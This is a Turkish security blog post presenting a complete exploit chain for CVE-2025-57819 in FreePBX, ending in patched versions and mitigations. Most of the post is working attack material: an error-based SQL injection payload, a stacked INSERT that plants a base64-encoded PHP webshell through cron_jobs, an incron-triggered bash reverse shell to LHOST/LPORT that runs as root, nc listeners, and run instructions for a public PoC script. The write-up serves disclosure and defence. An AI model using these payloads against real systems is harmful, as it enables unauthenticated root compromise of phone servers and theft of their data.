← back to blog
EN TR

CVE-2025-57819: FreePBX SQLi → RCE → Root

On this page

FreePBX | CVE-2025-57819 | SQLi → RCE → Root

Zafiyet: Unauthenticated SQL InjectionRemote Code ExecutionPrivilege Escalation (Root)

CVE: CVE-2025-57819


Giriş

Bu çalışmada, FreePBX’in endpoint modülünde keşfedilen ve CVE-2025-57819 olarak tanımlanan kritik bir zincir zafiyeti ele alınmıştır. Zafiyet; kimlik doğrulama gerektirmeyen bir SQL injection açığından başlayıp PHP webshell dağıtımına, oradan da incron üzerinden root shell elde edilmesine kadar uzanan tam bir exploit zinciri sunmaktadır.


1. Zafiyetin Tanımı

FreePBX’in endpoint modülü, /admin/ajax.php endpoint’i üzerinden brand parametresini doğrudan SQL sorgusuna dahil etmektedir. Bu parametre kullanıcı tarafından kontrol edilebildiğinden ve herhangi bir sanitizasyon uygulanmadığından, kimliği doğrulanmamış bir saldırgan EXTRACTVALUE tabanlı hata bazlı SQL injection ile veritabanından veri okuyabilir; dahası INSERT ifadeleriyle cron_jobs tablosuna yazabilir.

Etkilenen Sürümler:

FreePBXYamalı Sürüm
15.x15.0.66
16.x16.0.89
17.x17.0.3

NVD CVE-2025-57819 Kaydı

Saldırı Zinciri:

SQLi (EXTRACTVALUE) → cron_jobs INSERT → PHP Webshell → incron Tetikleyici → Root Shell

💡 Zafiyetin Kökeni:
/admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&brand=<PAYLOAD> isteğinde brand parametresi SQL sorgusuna doğrudan eklenmektedir. Herhangi bir hazırlanmış sorgu (prepared statement) ya da giriş doğrulaması bulunmadığından, saldırı kimlik doğrulama olmadan mümkündür.


2. SQL Injection Doğrulaması

Zafiyeti doğrulamak için EXTRACTVALUE hata tabanlı injection kullanılmıştır. Sunucu, XPath syntax hatası içinde veriye dönüştürülmüş SQL çıktısını döndürmektedir:

Okuma Payload’ı:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(<subquery>),0x7e))-- -

İstek Örneği:

GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20AND%20EXTRACTVALUE(1%2CCONCAT(0x7e%2C(SELECT%201)%2C0x7e))--+-
Host: freepbx.example.com

Yanıt:

{
  "error": {
    "message": "XPATH syntax error: '~1~'"
  }
}

~ karakterleri arasındaki değer SQL sorgusunun çıktısıdır. Bu yöntemle veritabanı adı, sürüm ve kullanıcı bilgisi de çekilebilir:

Database : asterisk
Version  : 10.x.x-MariaDB
DB User  : asterisk@localhost

3. Webshell Dağıtımı (cron_jobs Yazımı)

INSERT ifadeleri de çalıştırılabilmektedir. cron_jobs tablosuna dakikada bir çalışacak bir cron görevi eklenir. Bu görev, base64 ile kodlanmış PHP webshell’i web kök dizinine yazar:

Yazma Payload’ı:

x'; INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','poc-webshell','echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64 -d >/var/www/html/shell.php',NULL,'* * * * *',30,1,1)-- -

Webshell içeriği (base64 decode sonrası):

<?php system($_GET['cmd']); ?>

Cron görevi yaklaşık 60 saniye içinde çalışır. Ardından webshell erişimi doğrulanır:

GET /shell.php?cmd=id
→ uid=1000(asterisk) gid=1000(asterisk) groups=1000(asterisk)

4. Sistem Keşfi

Webshell üzerinden temel sistem bilgileri toplanır:

id      → uid=1000(asterisk)
hostname→ freepbx-server
kernel  → 5.x.x-generic
OS      → Ubuntu / CentOS
ip      → inet 10.x.x.x

5. Root Shell — incron Privilege Escalation

Bu aşamada asterisk kullanıcısından root’a yükselme gerçekleştirilmektedir. FreePBX sistemlerde incrond (inotify tabanlı cron) servisi çalışmaktadır. /var/spool/asterisk/incron/ dizinine yazılan dosyalar, fwconsole hook’u aracılığıyla root olarak tetiklenmektedir.

Payload Oluşturma:

Reverse shell komutu şu adımlarla encode edilir:

  1. Komut + "txn" bir JSON dizisine alınır: ["bash -i >& /dev/tcp/LHOST/LPORT 0>&1", "txn"]
  2. JSON zlib ile sıkıştırılır
  3. Base64 ile encode edilir, / karakterleri _ ile değiştirilir

Ortaya çıkan payload, aşağıdaki dosya adıyla webshell üzerinden oluşturulur:

/var/spool/asterisk/incron/api.fwconsole-commands.<ENCODED_PAYLOAD>

incrond bu dosyanın varlığını algılar, payload’ı decode edip fwconsole hook’u root yetkisiyle çalıştırır:

nc -lvnp 9999

Root Shell Kanıtı


6. PoC Scripti Kullanımı

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

Önce listener başlatılır:

nc -lvnp 9999

Ardından exploit çalıştırılır:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

Tool Çalışma Ekranı

Script sırasıyla şu adımları gerçekleştirir:

  1. Hedef erişilebilirlik kontrolü
  2. SQLi doğrulaması ve DB keşfi
  3. cron job ekleme + webshell bekleme (maks. 90 saniye)
  4. Sistem keşfi
  5. incron payload oluşturma ve root shell tetikleme
  6. (İsteğe bağlı) Webshell ve cron job temizleme

Temizlik için:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999 --cleanup

7. Sonuç ve Önlem

CVE-2025-57819, kimlik doğrulama gerektirmeden tam root erişimi sağlayan nadir tam zincir zafiyetlerden biridir.

Önerilen Önlemler:

  • FreePBX’i yamalı sürüme güncelleyin: 15.0.66, 16.0.89 veya 17.0.3
  • endpoint modülünü gerekli değilse devre dışı bırakın
  • /admin/ajax.php’ye erişimi IP bazlı kısıtlayın
  • incrond servisinin gereksiz yere çalışıp çalışmadığını denetleyin

Son Söz

Bu zafiyet, girdi sanitizasyonunun ne kadar kritik olduğunu bir kez daha kanıtlamaktadır. Tek bir parametrenin prepared statement olmadan SQL sorgusuna dahil edilmesi; veri okuma, sistem erişimi ve en nihayetinde tam root kontrolüyle sonuçlanabilmektedir.

GitHub: CVE-2025-57819-FreePBX-RCE2Root
Advisory: GHSA-m42g-xg4c-5f3h